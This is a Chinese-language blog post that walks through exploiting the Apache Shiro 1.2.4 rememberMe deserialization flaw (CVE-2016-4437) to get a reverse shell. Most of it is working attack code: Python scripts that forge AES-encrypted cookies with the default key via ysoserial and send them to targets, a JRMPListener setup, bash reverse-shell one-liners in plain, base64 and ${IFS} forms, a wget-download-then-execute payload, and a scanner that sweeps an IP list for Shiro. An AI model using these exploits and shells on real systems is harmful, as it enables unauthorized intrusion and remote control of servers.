不使用JRMPListener实现Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)反弹shell

这个漏洞挺久远的,但是又很常见,还是有很多站点有这个问题,但是之前总是没打通,分析了一下发现是自己的姿势错了,感谢菠萝师傅远程帮我调试
目录

漏洞环境搭建

直接使用docker搭建即可

1
2
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

工具

首先你要有ysoserial的jar文件
自行编译法

1
2
3
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

在target目录下就有ysoserial-0.0.5-SNAPSHOT-all.jar /或者0.0.6
我发现编译很慢,也可以直接去网上找现成的
比如https://github.com/Kit4y/Src-Toolset/blob/master/anothervol-ShiroScan-master/ShiroScan/moule/ysoserial.jar
然后是pycrypto模块,这里我用ubuntu,因为win10这个大小写的毛病一直在

1
pip3 install pycrypto

rce 复现

1、生成一个rce的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)

其中注意脚本和ysoserial.jar在同一目录下,
使用python shiro.py "curl 192.168.59.132:7777"生成的payload.cookie即为payload,抓包改cookie


这里有个坑,如果你这样打不通,那就是可能抓的包要改JSESSIONID,改成一个不同的就行,我把第一个4改成2即可,貌似看了一些文章说这个是一次性的,之前卡了很久
当然你也可以直接写一个加上发包的脚本-改一下上面的就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-
import requests
import os
import sys
import uuid
import base64
import subprocess
import argparse
from Crypto.Cipher import AES

#get a rememberme payload
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

def exp_shiro(url,cmd):
payload = encode_rememberme(cmd)
headers={
#"Host": "192.168.99.100:8081",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cookie": "JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}".format(payload.decode()),
"Upgrade-Insecure-Requests": "1"
}
#print("JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}".format(payload.decode()))
requests.get(url,headers=headers)

if __name__=='__main__':
#DO A try,port may be used
try:
exp_shiro("http://192.168.59.132:8081/","curl 192.168.59.132:7777")
except Exception as e:
print(e)

修改url和cmd即可

这里我用的是直接nc -lvnp接收,也可用这两个比较有名的接收平台http://ceye.io/,http://dnslog.cn/,其中ceye要登录,dnslog不需要登录即可,另外这个平台没有nslookup

如果key和模块不好调,可以试试菠萝师傅推荐的这个https://github.com/sv3nbeast/ShiroScan
使用方法也很简单python shiro_rce.py http://192.168.59.132:8081 "curl 192.168.59.132:7777" ,python2,python3好像都兼容

也能自己写一个大概的python3 check.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import sys
requests.packages.urllib3.disable_warnings()

f=open('ip.txt','r')
lines=f.readlines()
f.close()
#print(lines)

header={
'User-agent' : 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0;',
'Cookie':'rememberMe=xxx'

}
check="rememberMe"


with open("shiro.txt","w") as f:
for line in lines:
try:
k = requests.get(line.replace('\n',''),headers=header,timeout=5)
l = str(k.headers)
if check in l:
print("[+ "+"存在shiro:"+line)
f.write(line+"\n")
else:

print("[- "+"无shiro:"+line)
except Exception as e:
#raise e
pass
print("全部check完毕,请查看当前目录下的shiro.txt")

常规反弹shell 复现

首先在vps上开一个反弹shell的等待服务
nc -lvnp 7777
理论上如果是php我们能任意代码执行那么只要bash -i >& /dev/tcp/192.168.59.132/7777 0>&1就行,但是试了很久发现不能反弹成功-(这里是一个Q1之后解答)

之前已经整好了ysoserial.jar,也需要在vps上搭一个JRMP Listener 服务,
语法是java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections2 'rce code',但是这里的rce-code需要生成runtime-exec-payload前往这个平台http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.59.132/7777 0>&1
加密得到bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
其实规则就是
bash: bash -c {echo,code_to_base64}|{base64,-d}|{bash,-i}
python: python -c exec('code_to_base64'.decode('base64'))
,居然生成好了payload然后运行即可
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.explo.JRMPListener 3888 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'

然后现在就是要靶机的shiro打到我们的JRMP Listener 服务服务上,web_url是靶机url,target是我们JRMP服务
getshell_exp.py-ubuntu下兼容py2,py3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys
import uuid
import base64
import subprocess
import requests
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

def exp_shiro(url,cmd):
payload = encode_rememberme(cmd)
headers={
#"Host": "192.168.99.100:8081",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cookie": "JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}".format(payload.decode()),
"Upgrade-Insecure-Requests": "1"
}
#print("JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}".format(payload.decode()))
requests.get(url,headers=headers)

if __name__ == '__main__':
web_url="http://192.168.59.132:8081"
target="192.168.59.132:3888"
exp_shiro(web_url,target)

综上运行就是

1
2
3
nc -lvnp 7777
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
python getshell_exp.py

终极payload

那么其实也就可以一体化了
环境ubuntu-python3
用样的你需要把ysoserial.jar丢shiro_exp.py下
shiro_exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: utf-8 -*-
import requests
import os
import signal
import sys
import uuid
import base64
import time
import subprocess
import argparse
from Crypto.Cipher import AES
#get a rememberme payload
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

#httpsender
def httpsender(url,headers):
try:
response = requests.get(url,headers=headers)
if response.status_code == 200:
print("Exploit target IP")
else:
print("Something happend, got status_code : "+response.status_code)
except Exception:
print("requests error : may be Connect error<")
#exp for shiro to get a shell

def exp_shiro(url,cmd):
payload = encode_rememberme(cmd)
print("rememberMe={0}".format(payload.decode()))
headers={
#"Host": "192.168.99.100:8081",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cookie": "JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}".format(payload.decode()),
"Upgrade-Insecure-Requests": "1"
}
httpsender(url,headers)
def javalisten(lhost,lport_listen):
listenshell="bash -i >& /dev/tcp/{0}/{1} 0>&1".format(lhost,lport_listen)
encode_ls=str(base64.b64encode(listenshell.encode('utf-8')),'utf-8')
print(encode_ls)
execmd='java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections2 "bash -c {echo,'+encode_ls+'}|{base64,-d}|{bash,-i}"'
print(execmd)
p=subprocess.Popen(execmd,shell=True, stdout=subprocess.PIPE,close_fds=True, preexec_fn = os.setsid)
return p
parser = argparse.ArgumentParser(description='shiro_exp U can getshell Only for study ',epilog="python shiro_exp.py -u [url] -lh [localhost] -lp [localport]")
parser.add_argument('--url', '-u', help='目的站点的url',required=True)
parser.add_argument('--lhost', '-lh', help='本地监听主机IP地址',required=True)
parser.add_argument('--lport', '-lp', help='本机监听主机PORT端口',required=True)
args = parser.parse_args()


if __name__=='__main__':
try:
rmiserver="{0}:3888".format(args.lhost)
p=javalisten(args.lhost,args.lport)
time.sleep(5)
exp_shiro(args.url,rmiserver)
os.killpg(p.pid,signal.SIGUSR1)
except Exception as e:
print(e)

1
2
3
nc -lvnp 7777
python3 shiro_exp.py -u http://192.168.59.132:8081 -lh 192.168.59.132 -lp 7777

使用子进程开启JRMPListener服务,等待时长5秒可根据网络自行修改

不使用JRMPListener能否反弹shell问题Q1

还记得前面说过,既然能rce,为什么不直接使用bash -i >& /dev/tcp/192.168.59.132/7777 0>&1反弹shell?
经过多次尝试发现,的确直接如此反弹shell不能成功,于是尝试分2步实现echo '/bin/bash -i >& /dev/tcp/192.168.59.132/7777 0>&1' >> a.txt &&bash a.txt又不能成功
后来测试了很久发现使用echo '123' >> a.txt这样的rce是不能实现的

当觉得不可能不用JRMPListener反弹shell的时候,我发现wget居然可以直接使用,,那么我们只要先把'/bin/bash -i >& /dev/tcp/192.168.59.132/7777 0>&1'丢服务器上保存为shell.txt,然后bash就行也是分2步

1
2
exp_shiro(URL,"wget http://XXXXXX:8089/shell.txt -O shell")
exp_shiro(URL,"bash shell")

然后发现有时候会成功有时候不成功,感觉是wget时间问题,大概就是wget还没成功,就bash了所以加一个sleep

1
2
3
exp_shiro(URL,"wget http://XXXXXXX:8089/shell.txt -O shell")
time.sleep(4)
exp_shiro(URL,"bash shell")

nice成功跑出了,本地测试一个一下又测试了几台服务器-如果服务器wget比较慢可以设置等5-10秒可以完美跑出

最后不用JRMPListener的完美版脚本长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding: utf-8 -*-
import requests
import os
import sys
import time
import uuid
import base64
import subprocess
import argparse
from Crypto.Cipher import AES

#get a rememberme payload
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

def exp_shiro(url,cmd):
payload = encode_rememberme(cmd)
headers={
#"Host": "192.168.99.100:8081",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cookie": "JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}".format(payload.decode()),
"Upgrade-Insecure-Requests": "1"
}
#print("JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}".format(payload.decode()))
requests.get(url,headers=headers)
parser = argparse.ArgumentParser(description='shiro_exp U can getshell Only for study ',epilog="python shiro_exp.py -u [url] -lh [localhost] -lp [localport]")
parser.add_argument('--url', '-u', help='目的站点的url',required=True)
args = parser.parse_args()
if __name__=='__main__':
URL=args.url
try:
exp_shiro(URL,"wget http://XXXXX:8089/shell.txt -O shell")
time.sleep(10)
exp_shiro(URL,"bash shell")
except Exception as e:
print(e)

使用python3 shiro.py -u http://192.168.59.132:8081

那问什么网上所有的getshell的文章,都是建立JRMPListener服务然后getshell呢?估计第一个人这样用了成功了,后面的人都没思考其他方法吧。

2020/6/8

卧槽,今天和长亭同事打一个站,真的可以直接反弹shell,师傅们tql,学到了,5555555 我前面分析是什么玩意
poc
bash -c bash${IFS}-i${IFS}>&/dev/tcp/XXXXX/XX<&1

2020/6/17

又有新发现改写ysoserial解决常规shell失效问题